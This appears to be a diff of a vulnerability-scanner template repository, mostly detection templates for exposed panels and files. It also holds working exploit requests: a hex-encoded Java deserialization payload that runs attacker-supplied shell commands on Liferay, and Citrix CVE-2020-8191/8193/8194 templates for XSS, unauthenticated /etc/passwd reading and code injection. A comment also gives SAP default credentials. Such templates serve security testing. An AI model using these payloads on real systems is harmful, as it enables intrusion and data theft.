     body: "{\"p_auth\":\"AdsXeCqz\",\"tableId%3d1\":\"\",\"formDate\":\"1526638413000\",\"columnId\":\"123\",\"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\"{\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\\\"}\",\"name\":\"A\",\"cmd\":\"{\\\"/expandocolumn/update-column\\\":{}}\"Line truncated
     matchers:
       - type: word
         words:
-          - "Could not resolve host"
+          - "nonexistent:1337"
         part: body

cves/CVE-2020-8191.yaml

@@ -0,0 +1,33 @@
+id: CVE-2020-8191
+
+info:
+  name: Citrix ADC & NetScaler Gateway Reflected XSS
+  # Leads to RCE
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        POST /menu/stapp HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Content-Length: 96
+        Content-Type: application/x-www-form-urlencoded
+        X-NITRO-USER: xpyZxwy6
+
+        sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</title><script>alert(31337)</script>"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-8193.yaml

@@ -0,0 +1,88 @@
+id: CVE-2020-8193
+
+info:
+  name: Citrix unauthenticated LFI
+  author: pdteam
+  severity: high
+
+  # Source:- https://github.com/jas502n/CVE-2020-8193
+
+requests:
+  - raw:
+      - |
+        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+        X-NITRO-USER: xpyZxwy6
+        X-NITRO-PASS: xWXHUJ56
+
+        <appfwprofile><login></login></appfwprofile>
+
+      - |
+        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.24.0
+        Accept: */*
+        Connection: close
+
+      - |
+        GET /menu/neo HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.24.0
+        Accept: */*
+        Connection: close
+
+      - |
+        GET /menu/stc HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.24.0
+        Accept: */*
+        Connection: close
+
+      - |
+        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.24.0
+        Accept: */*
+        Connection: close
+        Content-Type: application/xml
+        X-NITRO-USER: oY39DXzQ
+        X-NITRO-PASS: ZuU9Y9c1
+        rand_key: randkey
+
+        <appfwprofile><login></login></appfwprofile>
+
+      - |
+        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: python-requests/2.24.0
+        Accept: */*
+        Connection: close
+        Content-Type: application/xml
+        X-NITRO-USER: oY39DXzQ
+        X-NITRO-PASS: ZuU9Y9c1
+        rand_key: randkey
+
+        <clipermission></clipermission>
+
+    cookie-reuse: true
+
+    # Using cookie-reuse to maintain session between each request, same as browser.
+
+    extractors:
+      - type: regex
+        name: randkey
+        part: body
+        internal: true
+        regex:
+          - "(?m)[0-9]{3,10}\\.[0-9]+"
+
+    # Using rand_key as dynamic variable to make use of extractors at run time.
+
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2020-8194.yaml

@@ -0,0 +1,33 @@
+id: CVE-2020-8194
+
+info:
+  name: Citrix ADC & NetScaler Gateway Reflected Code Injection
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        DNT: 1
+        Connection: close
+        Cookie: startupapp=st
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<jnlp codebase=\"nonexistent.1337\">"
+        part: body
+      - type: word
+        words:
+          - "application/x-java-jnlp-file"
+        part: header
+      - type: status
+        status:
+          - 200

dns/azure-cnames-finder.yaml

@@ -1,37 +0,0 @@
-id: azure-cnames-finder
-
-info:
-  name: Azure CNAMEs
-  author: mzack9999
-  severity: informative
-
-  # Update the list with more CNAMEs related to azure
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "azure-api.net"
-          - "azure-mobile.net"
-          - "azurecontainer.io"
-          - "azurecr.io"
-          - "azuredatalakestore.net"
-          - "azureedge.net"
-          - "azurefd.net"
-          - "azurehdinsight.net"
-          - "azurewebsites.net"
-          - "azurewebsites.windows.net"
-          - "blob.core.windows.net"
-          - "cloudapp.azure.com"
-          - "cloudapp.net"
-          - "database.windows.net"
-          - "redis.cache.windows.net"
-          - "search.windows.net"
-          - "servicebus.windows.net"
-          - "trafficmanager.net"
-          - "visualstudio.com"

dns/cname-service-detector.yaml

@@ -3,7 +3,7 @@ id: cname-service-detector
 info:
   name: 3rd party service checker
   author: bauthard
-  severity: informative
+  severity: info
 
 dns:
   - name: "{{FQDN}}"

dns/dead-host-with-cname.yaml

@@ -3,7 +3,7 @@ id: dead-host-with-cname
 info:
   name: dead-host-with-cname
   author: pdnuclei - projectdiscovery.io
-  severity: informative
+  severity: info
 
 dns:
   - name: "{{FQDN}}"

dns/filter-valid.yaml

@@ -1,19 +0,0 @@
-id: filter-valid
-
-info:
-  name: Valid Domains Filter
-  author: mzack9999
-  severity: informative
-
-dns:
-  - name: "{{FQDN}}"  # Random prefix
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "NOERROR"
-          - "IN\tCNAME"
-          - "IN\tA"

dns/filter-wildcard.yaml

@@ -1,19 +0,0 @@
-id: filter-wildcard
-
-info:
-  name: Wildcard Filter
-  author: mzack9999
-  severity: informative
-
-dns:
-  - name: "0831058744.{{FQDN}}"  # Random prefix
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          - "NXDOMAIN"
-          - "SERVFAIL"
-          - "REFUSED"

dns/servfail-refused-hosts.yaml

@@ -3,7 +3,7 @@ id: servfail-refused-hosts
 info:
   name: Servfail Host Finder
   author: mzack9999
-  severity: informative
+  severity: info
 
 dns:
   - name: "{{FQDN}}"

examples/basic-dns-example.yaml

@@ -1,18 +0,0 @@
-id: basic-dns-example
-
-info:
-  name: Basic DNS Request
-  author: pdteam
-  severity: info
-
-dns:
-  - name: "{{FQDN}}"
-    type: CNAME
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          # The response must contains a CNAME record
-          - "IN\tCNAME"

examples/basic-http-example.yaml

@@ -1,15 +0,0 @@
-id: basic-http-test
-
-info:
-  name: Test File
-  author: pdteam
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/test.txt"
-    matchers:
-      - type: word
-        words:
-          - "This is test!"

examples/chained-workflow-multiple-templates.yaml

@@ -1,31 +0,0 @@
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-
-variables:
-
-  # defining temapltes using variables.
-  # variables names as user defind, it could be anything.
-  # relative path support is now added into nuclei engine for better UX.
-
-  jira: panels/detect-jira.yaml
-  jira_cve_1: cves/CVE-2018-20824.yaml
-  jira_cve_2: cves/CVE-2019-3399.yaml
-  jira_cve_3: cves/CVE-2019-11581.yaml
-  jira_cve_4: cves/CVE-2017-18101.yaml
-
-logic:
-  |
- # defening conditionals templates.
-  if jira() {
-
- # if above conditon retruns true, run all the below tempaltes.
- # if above conditon fails, no tempaltes will be executed.
-
-    jira_cve_1()
-    jira_cve_2()
-    jira_cve_3()
-    jira_cve_4()
-
-  }

examples/dns-multiple-example.yaml

@@ -1,22 +0,0 @@
-id: dns-multiple-example
-
-info:
-  name: DNS Multiple test
-  author: pdteam
-  severity: info
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "example-cname.com"
-
-      - type: word
-        words:
-          - "NXDOMAIN"

examples/http-intruder-fuzz.yaml

@@ -1,37 +0,0 @@
-id: dummy-raw
-info:
-  name: Example-Fuzzing
-
-requests:
-  - payloads:
-      param_a: /home/user/wordlist_param_a.txt
-      param_b: /home/user/wordlist_param_b.txt
-    attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb
-    raw:
-      # Request with simple param and header manipulation with DSL functions
-      - |
-        POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
-        User-Agent: {{param_a}}
-        Host: {{Hostname}}
-        another_header: {{base64(param_b)}}
-        Accept: */*
-
-        This is the Body
-      # Request with body manipulation
-      - |
-        DELETE / HTTP/1.1
-        User-Agent: nuclei
-        Host: {{Hostname}}
-
-        This is the body {{sha256(param_a)}}
-      # Yet another one
-      - |
-        PUT / HTTP/1.1
-        Host: {{Hostname}}
-
-        This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
-    matchers:
-      - type: word
-        words:
-          - "title"
-          - "body"

examples/http-multiple-matcher-condition.yaml

@@ -1,43 +0,0 @@
-id: http-multiple-matcher-condition
-
-info:
-  name: Test Template
-  author: pdteam
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/test.txt"
-
-    matchers-condition: or
-
-    # matchers-condition supports AND or OR operation
-
-    matchers:
-      - type: word
-        name: php
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        part: header
-      - type: word
-        name: node
-        words:
-          - "Server: NodeJS"
-          - "X-Powered-By: nodejs"
-        condition: or
-        part: header
-      - type: word
-        name: python
-        words:
-          - "Python/2."
-          - "Python/3."
-        condition: or
-        part: header
-
-      - type: word
-        name: burp
-        words:
-          - "Burp Collaborator"
-        part: header

examples/http-multiple-matcher.yaml

@@ -1,33 +0,0 @@
-id: http-multiple-matcher
-
-info:
-  name: Test Template
-  author: pdteam
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/test.txt"
-
-    matchers:
-      - type: word
-        name: php
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        part: header
-      - type: word
-        name: node
-        words:
-          - "Server: NodeJS"
-          - "X-Powered-By: nodejs"
-        condition: or
-        part: header
-      - type: word
-        name: python
-        words:
-          - "Python/2."
-          - "Python/3."
-        condition: or
-        part: header

examples/http-raw-multiple.yaml

@@ -1,33 +0,0 @@
-id: http-raw-example
-
-info:
-  name: HTTP Raw Test
-  author: pdteam
-  severity: info
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Origin: {{BaseURL}}
-        Connection: close
-        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
-        Accept-Encoding: gzip, deflate
-        Accept-Language: en-US,en;q=0.9
-
-      - |
-        GET /testing HTTP/1.1
-        Host: {{Hostname}}
-        Origin: {{BaseURL}}
-        Connection: close
-        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
-        Accept-Encoding: gzip, deflate
-        Accept-Language: en-US,en;q=0.9
-
-    matchers:
-      - type: word
-        words:
-          - "Test is test"

examples/http-raw.yaml

@@ -1,23 +0,0 @@
-id: http-raw-example
-
-info:
-  name: HTTP Raw Test
-  author: pdteam
-  severity: info
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Origin: {{BaseURL}}
-        Connection: close
-        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
-        Accept-Encoding: gzip, deflate
-        Accept-Language: en-US,en;q=0.9
-
-    matchers:
-      - type: word
-        words:
-          - "Test is test"

files/cgi-test-page.yaml

@@ -0,0 +1,22 @@
+id: cgi-test-page
+info:
+  name: CGI Test page
+  author: YASH ANAND @yashanand155
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/test/test.cgi"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - HTTP_ACCEPT
+          - HTTP_ACCEPT_ENCODING
+        condition: and
+
+      - type: status
+        status:
+          - 200

files/dir-listing.yaml

@@ -3,7 +3,7 @@ id: dir-listing
 info:
   name: Directory listing enabled
   author: _harleo
-  severity: low
+  severity: info
 
 requests:
   - method: GET

files/exposed-kibana.yaml

@@ -0,0 +1,26 @@
+id: exposed-kibana
+
+info:
+  name: Exposed Kibana
+  author: Shine
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/'
+      - '{{BaseURL}}:5601/'
+      - '{{BaseURL}}/app/kibana/'
+      - '{{BaseURL}}:5601/app/kibana/'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kibanaWelcomeView'
+          - 'cluster_uuid'
+          - 'kibanaWelcomeLogo'
+          - 'kibanaWelcomeTitle'
+      - type: status
+        status:
+          - 200

files/filezilla.yaml

@@ -0,0 +1,29 @@
+id: filezilla-exposed
+
+info:
+  name: Filezilla
+  author: amsda
+  severity: medium
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/filezilla.xml"
+      - "{{BaseURL}}/sitemanager.xml"
+      - "{{BaseURL}}/FileZilla.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<FileZilla"
+          - "<Servers>"
+        condition: and
+
+      - type: word
+        words:
+          - xml
+        part: header
+
+      - type: status
+        status:
+          - 200

files/git-config.yaml

@@ -4,6 +4,7 @@ info:
   name: Git Config Disclosure
   author: Ice3man
   severity: medium
+  description: Searches for the pattern /.git/config on passed URLs.
 
 requests:
   - method: GET

files/htaccess-config.yaml

@@ -0,0 +1,18 @@
+id: htaccess-config
+
+info:
+  name: HTaccess config file
+  author: Yash Anand @yashanand155
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.htaccess"
+    matchers:
+      - type: word
+        words:
+          - RewriteRule
+          - </IfModule>
+          - <IfModule
+        condition: and

files/lazy-file.yaml

@@ -0,0 +1,20 @@
+id: lazy-file-manager
+
+info:
+  name: Lazy File Manager
+  author: amsda
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/lfm.php"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - Lazy File Manager

files/public-tomcat-instance.yaml

@@ -3,7 +3,7 @@ id: public-tomcat-instance
 info:
   name: tomcat manager disclosure
   author: Ahmed Sherif
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

files/security.txt.yaml

@@ -3,7 +3,7 @@ id: security-txt
 info:
   name: Security.txt File
   author: bad5ect0r
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

files/wadl-files.yaml

@@ -2,16 +2,34 @@ id: wadl-files
 
 info:
   name: wadl file disclosure
-  author: 0xrudra
-  severity: informative
+  author: 0xrudra & manuelbua
+  severity: info
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/application.wadl"
-      - "{{BaseURL}}/service?Wsdl"
+      - "{{BaseURL}}/application.wadl?detail=true"
+      - "{{BaseURL}}/api/application.wadl"
+      - "{{BaseURL}}/api/v1/application.wadl"
+      - "{{BaseURL}}/api/v2/application.wadl"
     matchers:
-      - type: word
+      - name: http-get
+        type: word
+        words:
+          - "This is simplified WADL with user and core resources only"
+          - "\"http://jersey.java.net/\""
+          - "http://wadl.dev.java.net/2009/02"
+        condition: or
+        part: body
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/api/v1"
+      - "{{BaseURL}}/api/v2"
+    matchers:
+      - name: http-options
+        type: word
         words:
           - "This is simplified WADL with user and core resources only"
           - "\"http://jersey.java.net/\""

files/web-config.yaml

@@ -0,0 +1,22 @@
+id: web-config
+info:
+  name: Web Config file
+  author: Yash Anand @yashanand155
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/web.config'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - <configuration>
+          - <system.webServer>
+        condition: and
+
+      - type: status
+        status:
+          - 200

files/wordpress-directory-listing.yaml

@@ -3,7 +3,7 @@ id: wordpress-directory-listing
 info:
   name: Wordpress directory listing
   author: Manas_Harsh
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

files/wordpress-user-enumeration.yaml

@@ -1,9 +1,9 @@
-id: wordpress-user-enumaration
+id: wordpress-user-enumeration
 
 info:
   name: Wordpress user enumeration
   author: Manas_Harsh
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

files/wp-xmlrpc.yaml

@@ -3,7 +3,7 @@ id: wordpress-xmlrpc-file
 info:
   name: WordPress xmlrpc
   author: udit_thakkur
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/cisco-asa-panel.yaml

@@ -3,7 +3,7 @@ id: cisco-asa-panel-detect
 info:
   name: Cisco ASA VPN panel detect
   author: organiccrap
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/compal.yaml

@@ -3,7 +3,7 @@ id: compal-panel-detect
 info:
   name: Compal CH7465LG panel detect
   author: fabaff
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/crxde.yaml

@@ -3,7 +3,7 @@ id: crxde
 info:
   name: CRXDE Lite
   author: nadino
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/docker-api.yaml

@@ -3,7 +3,7 @@ id: exposed-docker-api
 info:
   name: Exposed Docker API
   author: furkansenan & dwisiswant0
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/fortinet-fortigate-panel.yaml

@@ -3,7 +3,7 @@ id: fortinet-fortigate-panel
 info:
   name: Fortinet FortiGate SSL VPN Panel
   author: bsysop
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/globalprotect-panel.yaml

@@ -3,7 +3,7 @@ id: globalprotect-panel
 info:
   name: PaloAlto Networks GlobalProtect Panel
   author: organiccrap
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/grafana-detect.yaml

@@ -3,7 +3,7 @@ id: grafana-detect
 info:
   name: Grafana panel detect
   author: organiccrap
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/jenkins-asyncpeople.yaml

@@ -3,7 +3,7 @@ id: jenkins-async-people
 info:
   name: Jenkins panel async-people
   author: nadino
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/jmx-console.yaml

@@ -0,0 +1,13 @@
+id: jmx-console
+info:
+  name: JMX Console
+  author: Yash Anand @yashanand155
+  severity: Low
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/jmx-console/'
+    matchers:
+      - type: word
+        words:
+          - JBoss JMX Management Console

panels/kubernetes-pods.yaml

@@ -2,7 +2,7 @@ id: kubernetes-pods-api
 info:
   name: Kubernetes Pods API
   author: ilovebinbash
-  severity: informative
+  severity: info
 requests:
   - method: GET
     path:

panels/mongo-express-web-gui.yaml

@@ -3,7 +3,7 @@ id: mongo-express-web-gui
 info:
   name: Mongo Express Web GUI
   author: puzzlepeaches
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/parallels-html-client.yaml

@@ -3,7 +3,7 @@ id: parallels-html-client
 info:
   name: Parallels HTML5 Client
   author: bauthard
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/phpmyadmin-panel.yaml

@@ -3,7 +3,7 @@ id: phpmyadmin-panel
 info:
   name: phpMyAdmin Panel
   author: bauthard
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/pulse-secure-panel.yaml

@@ -3,7 +3,7 @@ id: pulse-secure-panel
 info:
   name: Pulse Secure VPN Panel
   author: bsysop
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/rabbitmq-dashboard.yaml

@@ -3,7 +3,7 @@ id: rabbitmq-dashboard
 info:
   name: RabbitMQ Dashboard
   author: fyoorer
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/sap-netweaver-detect.yaml

@@ -3,7 +3,7 @@ id: sap-netweaver-portal-detect
 info:
   name: SAP NetWeaver Portal detect
   author: organiccrap
-  severity: informative
+  severity: info
   # SAP Netweaver default creds - SAP*/06071992 or TMSADM/$1Pawd2&
 
 requests:

panels/sap-recon-detect.yaml

@@ -0,0 +1,35 @@
+id: sap-recon-detect
+
+info:
+  name: SAP RECON Finder
+  author: samueladi_ & organiccrap
+  severity: medium
+
+  # Source:- https://github.com/chipik/SAP_RECON
+  # This is detection template, please use above poc to exploit this further.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean"
+      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean?wsdl"
+      - "{{BaseURL}}/CTCWebService/Config1?wsdl"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - Method Not Allowed
+          - Expected request method POST. Found GET.
+          - Generated by WSDLDefinitionsParser
+          - bns0:Config1Binding
+          - wsdl:definitions
+          - tns:CTCWebServiceSiBinding
+        condition: or
+
+      - type: status
+        status:
+          - 405
+          - 200
+        condition: or

panels/sophos-fw-version-detect.yaml

@@ -3,7 +3,7 @@ id: sophos-fw-version-detect
 info:
   name: Sophos Firewall version detection
   author: organiccrap
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/supervpn-panel.yaml

@@ -3,7 +3,7 @@ id: supervpn-detect
 info:
   name: SuperVPN panel detect
   author: organiccrap
-  severity: informative
+  severity: info
 
 requests:
   - method: GET

panels/swagger-panel.yaml

@@ -3,7 +3,7 @@ id: swagger-panel
 info:
   name: Swagger API Panel
   author: Ice3man
-  severity: informative
+  severity: info
 
 requests:
   - method: GET
@@ -15,6 +15,28 @@ requests:
       - "{{BaseURL}}/api-docs/swagger.json"
       - "{{BaseURL}}/swagger.json"
       - "{{BaseURL}}/swagger/v1/swagger.json"
+      - "{{BaseURL}}/api/index.html"
+      - "{{BaseURL}}/api/docs/"
+      - "{{BaseURL}}/api/swagger.json"
+      - "{{BaseURL}}/api/swagger.yaml"
+      - "{{BaseURL}}/api/swagger.yml"
+      - "{{BaseURL}}/api/swagger/index.html"
+      - "{{BaseURL}}/api/swagger/swagger-ui.html"
+      - "{{BaseURL}}/api/api-docs/swagger.json"
+      - "{{BaseURL}}/api/swagger-ui/swagger.json"
+      - "{{BaseURL}}/api/apidocs/swagger.json"
+      - "{{BaseURL}}/api/swagger-ui/api-docs"
+      - "{{BaseURL}}/api/api-docs"
+      - "{{BaseURL}}/api/apidocs"
+      - "{{BaseURL}}/api/swagger"
+      - "{{BaseURL}}/api/swagger/static/index.html"
+      - "{{BaseURL}}/api/swagger-resources"
+      - "{{BaseURL}}/api/swagger-resources/restservices/v2/api-docs"
+      - "{{BaseURL}}/api/__swagger__/"
+      - "{{BaseURL}}/api/_swagger_/"
+      - "{{BaseURL}}/api/spec/swagger.json"
+      - "{{BaseURL}}/api/swagger/ui/index"
+      - "{{BaseURL}}/api/api/schema/"
     matchers:
       - type: word
         words:

panels/tikiwiki-cms.yaml

@@ -0,0 +1,22 @@
+id: tikiwiki-cms
+
+info:
+  name: Tiki Wiki CMS Groupware
+  author: chron0x
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/tiki-login_scr.php"
+      - "{{BaseURL}}/tiki-login.php"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Tiki Wiki CMS Groupware"
+        part: body

panels/weave-scope-dashboard-detect.yaml

@@ -0,0 +1,20 @@
+id: weave-scope-dashboard-detect
+
+info:
+  name: Weave Scope Dashboard
+  author: e_schultze_
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: word
+        words:
+          - "<title>Weave Scope</title>"
+          - "__WEAVEWORKS_CSRF_TOKEN"
+          - "__CSRF_TOKEN_PLACEHOLDER__"
+        condition: and
+        part: body

panels/webeditors.yaml

@@ -3,7 +3,7 @@ id: webeditors
 info:
   name: Web Editors
   author: pwnmachine
-  severity: informative
